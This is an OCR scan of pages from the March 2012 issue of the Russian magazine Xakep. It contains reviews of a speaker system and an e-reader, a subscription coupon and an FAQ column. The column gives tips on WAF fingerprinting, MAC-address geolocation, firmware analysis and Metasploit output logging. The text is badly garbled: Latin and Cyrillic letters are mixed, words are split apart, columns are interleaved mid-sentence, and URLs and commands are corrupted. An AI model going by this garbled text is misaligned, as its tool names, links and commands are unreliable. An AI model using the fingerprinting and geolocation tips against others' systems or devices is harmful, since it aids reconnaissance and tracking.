гой стороны, кто мешает тебе стать начальни­

ком и обзавестись собственным кабинетом?

Да, Edifieг R2500 однозначно облагородит любую комнату и отлич но впишется в любой

интерьер. А всё из-за строгого, но приеле­

кательного внешнего вида . Акустическая

система Edifieг R2500 изготовлена из MDF черного цвета. Остальные элементы также

выполнены в сходной цветовой палитре.

Динамики прикрыты полупрозрачной тканью,

лишь 5,75-дюймовый НЧ-динамик выделяется

серебристо-белым цветом.

Чуть не забыли упомянуть о габаритах устрой­

ства. Для того чтобы разместить Ed ifieг R2500 на столе, придется расчистить достаточно

много свободного про странства. Идеаль-

ным решением станет установка колонок на

специальные подставки. Спрятать же такую

136

акустику с глаз долой будет настоящим пре­

ступлением.

Сбоку на одной из колонок Edifieг R2500 нахо­дится цифровой модуль управления. Он позв о­

ляет менять параметры акустической системы

[вы бор входа, регулировка громкости, переме­щение по записям и настройка FМ- станций),

а также подключать накопители с музыкаль­

ными файлами к USВ-порту и 50-слоту. Edifieг

R2500 поддерживает форматы МРЗ и WMA. Сами разъемы спрятаны в отодвигающемся

«Карма шке >>. Удобно и практично.

Подключить акустику к источнику не со­

ставляет проблем. Стереосистема осна щена

двумя RСА-входами [RCA-RCA и RCA для AUX), а также входом для FМ-ради о. В итоге Edifieг

R2500 можно подготовить к работе за считан ­

ные секунды после распаковки.

Активная стереосистема имеет суммарную

мо щн ость 50 Вт, которая достигается благо­даря паре дюймовых ВЧ-динамиков и паре

5,75-дюймовых НЧ-динамиков. Все динамики

характери зуются сопротивлением 6 Ом и име­ют магнитное экранирование.

l:l§l:lei!CD Поговорим о звуке, точнее , о его качестве.

На наш взгляд, стереосистема Edifieг R2500 является идеальным решением для проел у­

шивания музыки. Акустика просто создана

для это гоl В общем, низкие и высокие частоты

звучат довольно ровно. Завалов мы не за­

метили. При этом любая композиция вос­

производится весьма и весьма объемно. Если

говорить более конкретно, то Edifieг R250 0 отлично справляется с большинством жанров.

И роковые рифы, и классика, и «электронная >>

музыка- композиции звучат без искажений .

Стереосистема неплохо проявила себя в играх

и фильмах . Но для подобного рода развлече­

ний идеальным решением, на наш взгляд, всё

же являются акустические системы формата

2.1 и 5.1. Другое дело, что их использование в домашних усло вия х и тем более в офисных и

студийных п омещениях не всегда оправданно .

Зато такие , как Ed ifieг R2500, являются опти­мальным выборомl :х:

ХАКЕР 03/158/2012

Page 139: Xakep 03_2012

Подписка 1. Разборчиво заполни подписной купон и кви­танцию, вырезав их из журнала, сделав ксе­

рокопию 1-1ли распечатав с сайта shop.glc.ru. 2. Оплати подписку через любой банк. 3. Вышли в редакцию копию подписных доку­ментов- купона и квитанции- любым из

нижеперечисленных способов:

• на e-mail: subscribefaglc.ru; • по факсу: [495] 545-09-06; • почтой по адресу: 115280, Москва, ул . Ленинская Слобода, 19, Омега плаза, 5 эт., офис NQ 21, 000 «Гейм Лэнд», отдел подписки.

ВНИМАНИЕ! ЕСЛИ ПРОИЗВЕСТИ О ПЛАТУ В СЕНТЯБРЕ, ТО ПОДПИСКУ МОЖНО ОФОРМИТЬ С НОЯБРЯ .

ЕДИ НАЯ ЦЕНА П О ВСЕЙ РОССИИ . ДОСТАВКА ЗА СЧ ЕТ И ЗДАТЕЛЯ , В ТО М ЧИСЛЕ КУРЬЕРОМ

ПО МОСКВЕ В ПРЕДЕЛАХ М КАД

ПОДПИСНОЙ КУПОН ПРОШУ ОФОРМИТЬ ПОДПИСКУ

НА ЖУРНАЛ «ХАКЕР•

D на 6 месяцев

D на 12 месяцев начиная с _ _ ______ 201 г.

D Доставлять )i(УРНал по почте надомашнии адрес

Доставлять журнал курьером:

D на адрес офиса*

D на домашний адрес**

(отметь квадрат выбранного варианта подписки )

Ф.И .О.

АДРЕС ДОСТАВКИ:

индекс

ДОМ корпус

квартира/офис

телефон (

e-mail

сумма оплаты

"'в свободном nоле укажи название фирмы и друrую необходимую информацию

• • в свободном nоле укажи друrую необходимую информацию и альтернативный вариант доставки в случае отсутствия дома

1 свободное поле

Извещение

Кассир

Квитанция

Кассир

ГОДОВАЯ экономия

500 руб.

12 НОМЕРОВ 6 НОМЕРОВ

2200 РУБ. 1260 РУБ.

УЗНАЙ, КАК САМОСТОЯТЕЛЬНО ПОЛУЧИТЬ ЖУРНАЛ НАМНОГО ДЕШЕВЛЕ!

ПРИ ПОДПИСКЕ НА КОМПЛЕКТ ЖУРНАЛОВ

ЖЕЛЕЗО+ ХАКЕР+ 2 DVD:-ОДИН НОМЕР ВСЕГО ЗА 162 РУБЛЯ [НА 35% ДЕШЕВЛЕ , ЧЕМ В РОЗНИЦУ]

ЗА 12 МЕСЯЦЕВ 3890 РУБЛЕЙ (24 НОМЕРА] ЗА 6 МЕСЯЦЕВ 2205 РУБЛЕЙ (12 НОМЕРОВ]

ЕСТЬ ВОПРОСЫ? Пиши на info0glc.гu или звони по бесплатным телефо­

нам 8[495)663-82-77 [для москвичей) и В [800) 200-3-999 [для жителей други х регионов России, абонентов сетей МТС, БиЛайн и Мегафон).

ИНН 7729410015 000 «Гейм Лэнд»

ОАО «Нордеа Банк>>, г. Москва

р/с No 40702810509000132297

к/с No 30101810900000000990

БИК 044583990 кпп 770401001

Плательщик

Адрес (с индексом)

Назначение платежа Сумма

Оплата журнала<< _______ >>

с 2012 г.

Ф.И.О.

Подпись плательщика

ИНН 7729410015 000 «Гейм ЛЭНД»

ОАО <<Нордеа Банк>>, г. Москва

р/с No 40702810509000132297

к/с No 30101810900000000990

БИК 044583990 кпп 770401001

Плательщик

Адрес (с индексом)

Назначение платежа Сумма

Оплата журнала<< _______ .>>

с 2012 г.

Ф.И.О.

Подпись плательщика

Page 140: Xakep 03_2012

FERRUM Сергей Никитин

WEXLER.BOOK Т7055 И ШВЕЦ, И ЖНЕЦ, И НА ДУДЕ И ГРЕЦ С ЦВЕТНЫМ СЕНСОРНЫМ ДИСПЛЕЕМ

Технический прогресс nредоставл яет нам ши­

рочайшие возможности для решения во п роса

о том, чем же заняться п о п ут и на работу,

учебу или в длитель н ом путешествии. П орта­

тивные электронные устройст ва п озволяют

нам слушать музыку, смотреть фотографии

и фильмы или читать электрон н ые книги, ког­

да хочется чего-то более интеллектуального .

WEXLER.BOOK Т7055 как раз nодойдет «nоли­глоту», следящему за новинками ин дус т рии.

Забота компании опокупателях чувствуется

сразу после распаковки устройства : поми -

мо всех н еобходимых проводов и кабелей,

а также удобного кожаного чехла, надеж н о

защищающего WEXLER.BOOK Т7055 от влия ­

ния внешней среды, в комплект поставки

входит несколько сертификатов на бесп л ат­

ное скачивание электронных к н иг в круп н ых

онлайн-магазинах. П ора переходить к циви­

лизованному отношению к чужой интеллекту­

альной собственности!

П осле включе н ия само г о устройства, как,

впрочем, и в процессе дальнейшей работы

с ним, тоже испытываешь только приятные

ощущения. Ес тестве н но, первое, н а что об­

ращаешь самое присталь н ое внимание,- это

экран, особенно если о н ц вет н ой и сенсор­

ный, как у WEXL ER .BOOK Т7055 . С меем тебя

заверить : с экраном тут всё в порядке ! Ц вета

натуральные и яркие, изображение четкое,

что особенно важно е ще и потому, что, п омимо

текстовых файлов, эта читалка также умеет

работать с видео и фотографиями, н е говоря

уже об аудио практически в сех рас п рост ра­

ненных форматов. Н о раз производ итель н а­

звал свое устройство электронной кни гой, то

не будем с ним спорить. Тем бол ее чт о читать

с ее помощью дейст витель н о удобно - глаза

не устают, и даже при «nерелистывании>>

стра н иц не возникает неприятных ощуще н ий.

К тому же Т FТ-ри деры рассчитаны как раз

на использование в поме ще н иях с н едос т а ­

точным освещением. Для большего удобства

WEXLER .BOOK Т7055 осна щен G - сенсором,

138

Экран : цветной, се нсорный , т·, LED Встроенная память : В Г б Дополнительная память: micгoSD, до 32 Гб Форматы текста : ANSI, Unicode, ТХТ, PDF, HTML, PDB, EPU B, FB2, DJVU, DOC Форматы аудио: МР3, WMA, FLAC, ААС , WAV, OGG Форматы изображений: JPG, ВМР, GIF Форматы видео : WMV, RM, AVI, RMVB, 3GP, FLV, МР4, DAT, VO B, MPG, MPEG, MKV, MOV Дополнительно: F М- радио Габариты : 190 х 125 х 11,5 мм Масса : 315 г

ПЛЮСЫ И ЮiНУС Ы

+ Качественный экран +Много функций и поддерживаемых форматов +Низкая стоимость

благодаря которому о риентаци я изоб р аже ­

ния на экра н е автомат ически ме н яется, как

у планшетов и с м а ртфонов.

В осьми гигабайт встр оенной п амяти

дол жно хвати т ь для хра н ения всех ш едевров

мировой лите р атуры, а ос тальные мульти­

медий н ые ф а й л ы мож н о «скл ад и р о в ать>>

на картах п ам ят и micгoS D объемом до 32 Г б.

Работат ь со в сей б и бли отекой, как, в п рочем,

и с самим устр ойст вом, тебе будет оче н ь про­

сто бла годаря п родума нн ому меню и удоб н ым

элеме нтам уп р а в ле н и я . Также отметим н а ­

личие вст р ое н но г о FМ-пр ием н ика с фу н к ц ией

записи.

I:I§I:I•I!W Очевидно, что электро н ная книга WEXLE R. В ООК Т705 5 уд а л ась. Б ол ь ш ой ц вет ной эк р ан

отличается высоким ка ч еством. Ус т ройство

обл адает множест вом фу н кций. Е с т ь даже

встроенный словарь и п росте н ькие игры.

П ри э том ч италку удобно ис п ользов а ть,

а ком плект пост а в ки включает в себя всё

необход имое и даже бол ьше. Поддержка карт

пам яти по п ул ярного формата micгoS D также

н е будет л и шн ей. В общем, владелец WEXLE R. В ООК Т705 5 вряд ли заскучает в дол гой до­

ро ге. К его услугам книги, фотог р афии, видео

и F М-радио. :Х:

ХАКЕР 02/157/201 2

Page 141: Xakep 03_2012

6 номеров - 111 О руб. 1 3 номеров - 1999 руб.

6 номеров - 564 руб. 1 3 номеров - 11 05 руб.

6 номеров - 630 руб. 1 3 номеров - 1140 руб.

6 номеров - 690 руб. 1 3 номеров - 1249 руб.

6 номеров - 111 О руб. 1 3 номеров - 1999 руб.

6 номеров - 111 О руб. 1 3 номеров - 1999 руб.

l•:.t.O.мt?б!I'ТUtiiiiiR~'ICJC* i!rJ_.~ ~=-- ~... ;=-- ;.~-:;.:;-

6 номеров - 895 руб. 1 3 номеров - 1699 руб.

6 номеров - 775 руб. 1 3 номеров - 1399 руб.

(gameJiand ПОДПИШИСЬ!

shop.glc.ru Редакционная подписка без посредников -это гарантия получения важного для Вас

журнала и экономия до 40о/о от розничной

цены в киоске

8-800-200-3-999 +7 (495) 663-82-77 (бесплатно)

6 номеров - 81 О руб. 1 3 номеров - 1499 руб.

6 номеров - 1194 руб. 1 3 номеров - 2149 руб.

6 номеров - 950 руб. 1 3 номеров - 1699 руб.

6 номеров - 111 О руб. 1 3 номеров - 1999 руб.

XVJIИГIJH

6 номеров - 894 руб. 1 3 номеров - 1 699 руб.

6 номеров- 810 руб. 1 3 номеров - 1499 руб.

Page 142: Xakep 03_2012

UNITS/ FAQ UNITED

FAQ United ЕСТЬ ВОПРОСЫ- ПРИСЫЛАЙ НА FAQriREAL.XAKEP.RU

r.1 ЕСТЬ ЛИ СПОСОБ БЫСТРО ПРОКАЧАТЬ

lt,;,l АККАУНТ НА OROPBOX.COM. ТО ЕСТЬ УВЕЛИЧИТЬ ДОСТУПНЫЙ ОБЪЕМ , НЕ ПРИБЕГАЯ К РАЗНЫМИ ЧИТЕРСКИМ

СПОСОБАМ? ВЫ О НИХ ПИСАЛИ- Я ИХ

ЗНАЮ!

n Именно сейчас есть возможн ость

181 получить дополнительн о 4,5 Гб за счет участия в бета -тестировании нового функциа ­

нала сервиса. D гopbox .com вводит новые

удобные фишки для загрузки фотографий

и видео с внешних накопителе й. Идея в том ,

чтобы предоставить пользователю механизм,

автоматически загружающий изображен ия

в <<облако» при подключении к компьютеру

фотоаппарата или карты памяти . П ощупать

новую опцию, а заодно пол учить 500 Мб к объему доступного дискового пространства

в ОгорЬох за каждые загруженные 500 Мб изображений можно уже сейчас. Для этого

нужно загрузить тестовый билд ОгорЬох, взяв

его из спе циальной ветки на форуме сервиса

[ Ьit.ly/AEhbvD I. Помимо этого, в AutoPiay [меню, которое появляется, когда система обнаружи­

вает новый внешний носитель! необходимо прописать ОгорЬох. В Windows 7 эта функция доступна в Contгol Рапе! -7 Нагdwаге and Sound -7 Autoplay, а в ХР включается в контекстном меню каждого отдельного накопителя .

r.1 МОЖНО ЛИ ОПРЕДЕЛИТЬ, ЧТО

lt,;,l НА ХОСТЕ ИСПОЛЬЗУЕТСЯ WAF [ФАЙЕРВОЛ ДЛЯ ВЕБ-ПРИЛОЖЕНИЙI ?

n Разумеется! Каждый WAF характе ризу-181 ется о пр еделенными <<отпечатками пальцев», по которым его можно опознать .

В Сети можно найти специальные утилиты,

правда , в большинстве своем узкоспециализи­

рованные, направленны е на выявление

конкретных WAF. Н апример, тулза impeгva-d etect 1 cod е .g oog le .com/p/i т peгva-detect l позволяетвыявитьиспольэованиеиэвестного

lmpeгva WAF:

# . / imperva-detect.sh https: //www. example.com

Testing (https://www.example . com] for presence of application firewall

Test е- Good User Agent ... 1 application firewall possiЬly present Test 1- Web Leech User Agent ... 1 application firewal l possiЫy present Test 2 - E-mail Collector Robot User 1 application firewall possiЫy present Test 3 - BlueCoat Proxy Manipulation 1 application firewall possiЫy present Test 4 - Web Worm Bloc king ... 1 application firewall not detected Test 5- XSS Blocking ..• 1 application firewall possiЫy present

--- Tests Finished оп [https: //www. example.com] 4 out of S tests indicate Imperva application firewall present ---

Степан Ильин ltwtitter.com/stepahl ·

Из унив ерсальны х назову ту л зу WAFWOOF [code .google .com/p/waffit l, которая может по­хвастаться сигнатурами для выявл ения сразу

нескольки х WAF. На официальном сайте нет исходников, поэтому их нужно загружать из ре ­

позитория SVN.

r.1 ДЕЙСТВИТЕЛЬНО ЛИ СЕЙЧАС lt,;,l ПРАВООХРАНИТЕЛЬНЫЕ ОРГАНЫ МОГУТ ОПРЕДЕЛИТЬ, ГДЕ НАХОДИТСЯ

КОНКРЕТНОЕ УСТРОЙСТВО, ПО ЕГО МАС-АДРЕСУ?

n Да какие уж там правоохранительные

181 органыl Посмотр иМАС-адрес с воей точки доступа и попробуй поискать его в базах

геолокационных сервисов вроде Goog le Location Seгvices [samy.pl/mapxssl и Skyhook [www. skyhookwiгe l ess . com l. Думаю, даже они

смогут указать местоположение устройства

с nугающей точностью. Естественно, в базах

может не оказаться запроше нного МАС-адреса,

а пол ожение точки доступа вполне может

измениться, однако вероятность обнаружить ее

оче нь велика. Чтобы ты пон имал, эти базы

активно п о п олняются за счет огромного

количества мобильны х устройств, которые

анонимно отправляют на се рвера Google информацию о тек ущем расположении,

на ходящи хся поблизости сото вы х станциях

и точках доступа Wi-Fi.

r.1 КАКИМ ОБРАЗОМ МОЖНО lt,;,l АНАЛИЗИРОВАТЬ ПРОШИВКИ ДЛЯ

КАК СДЕЛАТЬ СОВРЕМЕННЫЙ ИНТЕРФЕЙС ДЛЯ ВЕБ-ПРИЛОЖЕНИЯ ЗА 15 МИНУТ

с овременные веб-приложения задают

очень высокую планку п о качеству

интерфейса . Последний не только

долже н быть красивым - он должен коррек­

тно отображаться во всех браузерах и под­

держивать современные техноло гии HTML5. С н уля программировать все стили и скрипты

муторно . К счастью, есть отличные стартовые

наборы для создания Ul-приложений .

11.0

1 Широко известная компания Twitteг

бесплатно предлагает всем с вой Ul­фреймворк Bootstгap [ twitteг. g i thub.

com/bootstгap l. Ра зработка позволяет созда­вать отличные интерфейсы сайто в эа считан­

ные часы [проверено на собственном опыте! на основе готовых элементов и эко номить

о гро мное количество времени на адаптации

кода для разны х браузеров [даже IE71 .

2 Все злементы интерфейса гибкие.

Компоненты корректно, без искаже­

ний, отображаются при разных раз­

решения х экрана и на различных устро йствах.

Интерфейс на B ootstгap одинаково хорош о

выглядит как на десктоnе, та к и на планшете

или смартфоне. К тому же B ootstгap поддержи­

вает разные сетки, в том числе модную сейчас

940-пиксельную.

ХАКЕР 03/158/2012

Page 143: Xakep 03_2012

РАЗЛИЧНЫХ УСТРОЙСТВ? ОПРЕДЕЛЯТЬ, КАК ОДНА ВЕРСИЯ ИЗМЕНИЛАСЬ

ПО СРАВНЕНИЮ С ДРУГОЙ?

n в двух словах на этот вопрос не ответить.

181 Но подскажу полезный инструмент для подобных исследований- Binwalk lcode.google . com/p/Ьinwal k ~. Эта утилита предназначена для поиска отдельных файлов и исnолняемого кода

внутри заданного образа, при этом она заточена

как раз под идентификацию файлов внутри

образов прошивок. Для этого в нее включен

набор сигнатур для файлов, часто встречаю­

щихся в прошивках, заголовков fiгmwaгe, ядер

Linux, бутлоадеров, файловых систем и т. д .

r.1 КАК ПОЛУЧИТЬ_ КОЛИЧ~СТВО 1.;.1 ПОДКЛЮЧЕНИИ К МОЕИ БАЗЕ ДАННЫХ MYSQL?

lr.'l Вообще, с писок всех активных клиентов

181 выдает команда show pгocesslist. Используя таблицу pгocesslist из БД

infoгmation_schema, мы также можем получить

нужную информацию с помощью SQL-зaпpoca:

mysql -u root -р -BNe "select host,count(host) from processlist group Ьу host;" information_schema

КАК СОХРАНИТЬ ВЫВОД В ФАЙЛЕ ДЛЯ MSF?

В Metasploit Fгamewoгk довольно долго су ществовала одна проблема, которая

заключалась в том, что сохранить вывод

в файле обычными средствами было

невозможно. Всё отображалось в консоли,

и текст даже можно было скопировать

с помощью стандартного <Ctгl +С>, но при

большом объеме информации это уже

ста новилось затруднительным. Конечно,

у MSF есть удобная база данных, но, к сожалению, туда стекается дал еко не всё,

а только избранное из тех модулей , которые

у меют с такой базой работать. В конечном

итоге приходилось использовать разные

костыли. Но свершилось чудо! У разработчи­

ков наконец-то дошли руки до этой пробле­

мы, и всё у пр остилось донельзя' Теnерь мы

можем просто запусти ть MSF и ввести

з Фреймворк изначально развивалея

как набор гайдлайнов для програм­

мистов и объединил в себе лучшие

практики и примеры, накопленные в Twitteг.

Поверь, эти парни з нают, что такое правиль­

ньlй код. Документация поможет тебе мак­

симально быстро въехать, как использовать

Bootstгap . На сайте есть три готовых шаблонов

для быстрого страта.

ХАКЕР 03/158/ 2012

БОЛЬШОЙ ВОПРОС

Q ВОПРОС ОТ НАЧИНАЮЩЕГО

ВЕБ- ПРОГРАММИСТА . НА САЙТЕ НЕОБХОДИМО РЕАЛИЗОВАТЬ

РЕАЛ-ТАЙМ ВЗАИМОДЕЙСТВИЕ С ПОЛЬ­ЗОВАТЕЛЯМИ . ДАННЫЕ НЕОБХОДИМО

ПОДГРУЖАТЬ ПОЛЬЗОВАТЕЛЯМ И ЗА­

БИРАТЬ ОТ НИХ ПРАКТИЧЕСКИ В РЕ­

АЛЬНОМ ВРЕМЕНИ. ТАК КАК СЕЙЧАС РАЗРАБАТЫВАЕТСЯ ПРОТОТИП СИСТЕМЫ,

Я ХОЧУ ПОЙТИ ПО ПУТИ НАИМЕНЬШЕГО СОПРОТИВЛЕНИЯ И РЕАЛИЗОВАТЬ ВСЁ МАКСИМАЛЬНО ПРОСТО. НО КАК?

FAQ UNITED

пример Dklab_Realplexoг ldkla b . г u /li b /

dklab гealplexoг l или Socket.IO lsocket. ]QI. Если Dklab_Realplexoг уже готовый продукт, который <<за ведется >> сразу

после установки на сайте !если он у тебя

написан на РНР или Pythoпl, то Socket.

А Здесь нужно вспомнить про Comet. Напомню, Comet- зто набор приемов и средств, позволяющих

быстро обновлять данные в браузере

(страницы и их элементы! без участия

пользователя . Подробнее об этом наборе

можешь прочитать в нашем материале

<< Реал-тай м в Вебе: технология Comet для построения быстрых веб-приложений>>

I Ьit. l y/yZ70tH I. Самое простое- уста­

новить один иэ Соmеt-серверов, на-

10 скорее похож на конструктор LEGO miпdshtoгms- придется еще поработать

напильником и написать собственный API для интеграции в существующий проект.

Однако Comet-cepвep можно арендовать

в виде push-cepвиca , который позволяет

поддерживать реал-тайм общение между

клиентами проекта, не создавая и не под­

держивая собственную серверную инфра­

структуру. Из наиболее известных могу

выделить: Pusheг lpusheг. Cometl, Pubnub lwww. pubпub.com l, Paгtcl lcode .google . com/p/paгtcl l, BeacoпPush lbeaconpush. com l, X-Stгeam. l y lx - st гeam. l y l и i oBгidge

liobгidge.com l. Подробнее об их исполь­

зовании ты можешь прочитать в благе

нашего автора Александра Лозовюка IЬit .

ly/yLJcqm l.

Сервис Pusher позволяет в реальном времени доставлять сообщения веб-приложению, работающему на любых устройствах

в Bootstгap изначально проектиро­

вался так, чтобы корректно работать

с jQuегу-плагинами . Таки м образом,

ть1 максимально просто можешь реализовать

интерактивное взаимодействие с пользова­

телем, прибегнув к знакомым инструментам.

На специальной странице сейчас доступно 12 специальных jQuегу-плагинов, в том числе для

выпадающего меню, табов и т.д.

5 Использовать BootStгap могут как

продвинутые разработчики, которые

хотят сэкономить время, так и те,

кому нужно сделать качественный интерфейс

на коленке, не заморачиваясь изучением со­

временных технологий . В противном случае

придется долго чесать голову, как сделать

красивые кнопки, прогресс-бары, метки и т. д.

1~1

Page 144: Xakep 03_2012

UNITS/FAQ UNITED

команду spool /г oot /ow ned _info.txt. Здесь /гo ot/ow ned _i nfo . t xt - п уть к файлу для со­х ранения вывода из MSF и имя этого файла .

Что еще интереснее, по заявлениям ра зра ­

ботчиков, spool при включ е нии логирует и вы­

воды со всех сессий [шеллы на з а х вач ен ны х

хоста х l . Это, согласись, очень удобно . Для

отключения л о гирования служит команда

spool off.

r.1 СТЬ ОГРОМНЫЕ Л~Г-ФАЙЛЫ. 1,;,1 ПОДСКАЖИ КАКОИ-НИБУДЬ УДОБНЫЙ ИНСТРУМЕНТ ДЛЯ ИХ ПРОСМОТРА, ЧТОБЫ РАБОТАЛ ПОД

ВИНДОЙ И НИКСАМИ. GREP ДЛЯ АНАЛИЗА НЕ ПРЕДЛАГАТЬ :1.

8:'1 Я для этих целей исполь зую о чень

W прикольную утилиту glogg [~ bonnefon . oгg l . Она раб отает n од разными ОС и позволяет выполнять nои ск и анализ

п о о-о-о -чень большим лага м. Особенно

приятн о, что графический интерфейс

дополня ет в с я мощь утилит gгер и less.

r.1 ПОЧЕМУ-ТО ОБХОЖУ СТОРОНОЙ 1,;,1 ЛОГИ WINDOWS, СЧИТАЯ И Х БЕСПОЛЕЗНЫМИ. НО ВДРУГ Я ЧЕГО-ТО

НЕ ПОНИМАЮ И ОНИ МОГУТ ПОМОЧЬ

ВЫЯСНИТЬ ПРИЧИНЫ, СКАЖЕМ, ЧАСТЫ Х

СБОЕВ?

n В лагах фиксиру ются вс е сбои идей­

W ствия, выnолнявши ес я за п оследн ее время на данн ом ком пьютере . Это значит, что

благодаря им можно выявить при чину

неполадок, но ты nрав : выудить нужные

данны е из огромного количества информа ции

- за дача неnростая . Раз обраться в лагах

помогут утилиты Windows Event Viewe г Plus [ http:UЬit . ly/znh9fS I и Windows 8 Log Collectoг [http://bit.ly/wyDIOml. По следняя сама собирает и nр ото колирует все н ужные

данные, nозв оляя nри этом выбрать область

... 1od• ..... lv......,nglogs on АСК·РС ]

С1 Ava1lable- Evtnl k)g;$ Туре D""' _J Appttc3tion lnform:.ьon 06-04-2010 _J H:.rdw3ro Eve-nts lrtform;!Ьon 06-04·2010 .J lntcrne-t Ь:plorer tnfcmnaьon 0&04·2010 _j Кеу M81:tgomctr'C Semce

lfllormзuon 06-()4 2010 ..J r.\codQ Cerltм

о 06-04·2010 ..J MкrosoA Ofrкo AJoltS

lnfoтm;Ьon 06-04·2010 Sкunty

_J Systom lnformaьon 0&04·2010

TuneUp Юformaьon 06-()4 2010 lnfoJm3tюn 06-04·2010 lnform;Ьon 06-04·2010 lnfotmaiiOn 06-о<-2010

lnto •mвьon 06~ 2010 е о 06-04-2010

lnformitiiOn 06-04·2010

lnlormaьon 06-()4 2DIO (t lnfotmaьon 06-04-2010

lnform;rьon 0&04·2010

Come<\10 ] lnfotтnaЬon 06-()4·2010

R9motePC lntormaiiOC"' 06·~2010

Удобная тулза для nросмотра логов Windows-cиcтeмы

11,2

для nр осмотра по сл едни х за п исей журнала.

В результате п ользователь n ол у ч ает

подробный жур нал событий, с п омо щью

котор ого можно выяснить все nричины сбоев

оnера цио нной системы .

r.1 ХОЧУ Ч УТЬ ПОМОЧЬ РОДНОМУ 1,;,1 ДЕКАНАТУ И НЕМНОГО АВТОМАТИЗИРОВАТЬ ЕГО

ДОКУМ ЕНТООБОРОТ. ДЛЯ ЭТОГО НУЖЕН

СКАНЕР ШТРИХ-КОДОВ , НО КУПИТЬ ЕГО

НЕТ ВОЗМОЖНОСТИ . ЕСТЬ ЛИ КАКАЯ-ТО

АЛЬТЕРНАТИВА ДОРОГОСТОЯЩЕМУ

СКАНЕРУ?

n Если не подойдет обычная USВ -камера,

181 то можно заюзать старую оптическую мышку. Ее сенсор очень быстро nолучает

изображение с небольшой nоверхности,

з аn оминает его и по координатамХи У

вычисляет смещение от н осительн о nредыду­

щей nозиции. Умельцы научил и сь исnользо­

вать э то для захвата изображений с помощью

A гduin o. П одробности ты можешь прочитать

в стать е от webaff [ Ьit.ly/zNDkpD I.

r.1 ВЫ НЕРЕДКО ПИШЕТЕ 1,;,1 О « ПЕСОЧНИЦАХ», ПОЗВОЛЯЮЩИХ ЗАПУСТИТЬ ПРОГРАММ У

В ИЗОЛИРОВАННОМ ОКРУЖЕНИИ

И ПОСМОТРЕТЬ, ЧТО ОНА ДЕЛАЕТ

В СИСТЕМЕ. А ЕСТЬ ЛИ ТАКИЕ РЕШЕНИЯ ДЛЯ МОБИЛЬНЫ Х ПЛАТФОРМ ?

n Есть дл я Andгo id! Это nроект D гoid B ox

181 [ code . google.com/p /dгoidbox l , который заnускает мобил ьны е nриложения в изолиро­

ван ной среде и наблюдает за их n оведе ни ем.

П олученный отчет включает:

• хеш и анализируемого nр иложе ния ;

исходя щие/входящи е сетевые данные; • о n ерации с файлами;

• за п уще нны е се рви сы и классы, загружен­

ные через D exCiass loadeг;

Trme Ev<n~IO Sowce UИt"Name

18.5906 1073745925 \'l8'11o9on 165906 21474- 'flc:lnlfy

185906 300 ESE Т

18'5906 301 ESENT 18.5909 32212310119 \ 1/8'1Mgrnt

18'592!> 301 ESENТ

185929 302 ESENТ

16.5933 1073742827 \'l.ndQI.to--s Sea.ch Sемсе 1901.3-4 I073H2n4 SortA-.:11~ Protf!cbon PЬifor

190136 1 StcunryCenter 1901 38 1073742890 SottA·are Protecoon Pialfo1 190138 1073742827 Sott ... ·are P1otecьon Ptзlfor 1901.38 1073742726 So,..':lre Protecbon PЬifor

190206 1040 U$~;1af4r АСК.РС\дСК

1~02'53 10000 w.к:toson W1ndo~ Rё-s:\arl . ACK.PCIACK 190013 нn4 Мsitlst311er АСК.РС\дСК

190013 103< М:s.i'-1;13hr АСК.РС\АСК

1900 13 1042 М:silnstalklr NTAUTH 190013 10001 мaoson-'N 1ndows Rм1ill АСК.РС\дСК

утечки информации через сети, файлы

иSMS;

• обходы разрешения;

• криnтографическиео п ера ци и, пр о в еден­

ные через Andгo id API; про ел у шан ные Ьгоаdс аst-сообще н и я;

• отправленные SMS и совер ш енн ы е теле­

фонные ВЫЗОВЫ.

r.1 В Windows - cиcтeмe ест ь одн о критиче-1,;"1 ски важное прил ожение. Не обходим о, чтобы оно всегда бы л о за n ущено. В с л учае

краша необходимо за п устить его заново. Как

это реализовать?

Нужен такой инструмент, который,

во-первых, мониторит за п ущенны е

nроцессы и сервисы и, во-вторых, может их

nерезаnустить их в случае неполадок. Я

использую для этого Knas Restaгteг [www. knas .sel. П ереза n уск, вnрочем, не един ст в ен­ное возможное действие, которое Knas Restaгteг выполняет, обнаружив пр облему

унекоторого прил ожения. Логи ку можно

nереоnределить .

r.1 П ОМО ГИТЕ РЕШИТЬ ПРОБЛЕМ У. 1,;,1 ЕСТЬ ДВЕ РАЗНЫЕ ВЕРСИИ ОДНОЙ И ТОЙ ЖЕ ПРОГРАММЫ , КОТОРЫЕ НЕ УЖИВАЮТСЯ МЕЖДУ СОБОЙ, ТО ЕСТЬ В ОПЕРАЦИОННОЙ СИСТЕМЕ МОЖНО УСТАНОВИТЬ ЛИБО ОДНУ ВЕРСИЮ, ЛИБО

ДРУГУЮ. КАК РЕШИТЬ ЭТУ ПРОБЛЕМ У,

НЕ СОЗДАВАЯ ДЛЯ КАЖДОЙ ИЗ НИ Х ОТДЕЛЬНУЮ ВИРТУАЛЬНУЮ МАШИНУ?

n Я в такой ситуа ции исnользовал

181 бес nлатную утилиту Evalaze [www. evalaze.del. Что она делает? Создает для выбранного приложе ния виртуальное окруже­

ни е со своей файловой системой и реестром.

Это называется виртуализа ция nриложений.

Такой nодход поз в оляет п е р е н осить пр и л оже­

ния с одн ой систему н а дру гую без устан о в ки

и, что важно в нашем случае , за п ускать

на одн ой системенесовместимые друг

с другом nрил оже ния ! Этот под ход также

част о nр именяется для за n уска старых

nриложений или игр nод уnравле ние м

современны х ОС.

r.1 МОЖНО КАК-НИБУДЬ 1,;,1 ПРИМОНТИРОВАТЬ МОИ ДОКУМ ЕНТЫ, КОТОРЫЕХРАНЯТСЯ

В GOOGLE DOCS, ЧТОБЫ ОТКРЫВАТЬ И Х ЧЕРЕЗ ОБЫЧНЫЙ <<ОФ ИС >>?

n Мой ответ- использовать Joukuu 181 [www.joukuu.coml. П одключив к Joukuu <<облачные>> хра нилища [сейчас она работает

с DгорЬох, Google Docs и Box.net l, можно работать сонлайн-фа й лам и так же, как и с

локальными. Н а пример , редактировать

документы из Google Docs в Microsoft Office или любом другом офисном nа кете, и о н и

будут автоматически синхронизироваться

с Google. ::х:

ХАКЕР 03/158/ 2012

Page 145: Xakep 03_2012

»WIN

DO

WS

Se

curi

t~Кiss

0.2

.2

150

Mas

ter

1.3.

9 >D

eveJ

oem

ent

5ees

mic

0.8

.1

Libr

eCAO

1.0

.0

A5M

Tooi

1.3.

1BE

TA

ST Ргоч S

witc

her

Libr

eOffi

ce 3

.4.5

Sc

apy

2.1.

0

h5

BinV

is

stre

amW

riter

3.6

R

hyth

mbo

x 2.

95

5cra

py 0

.14
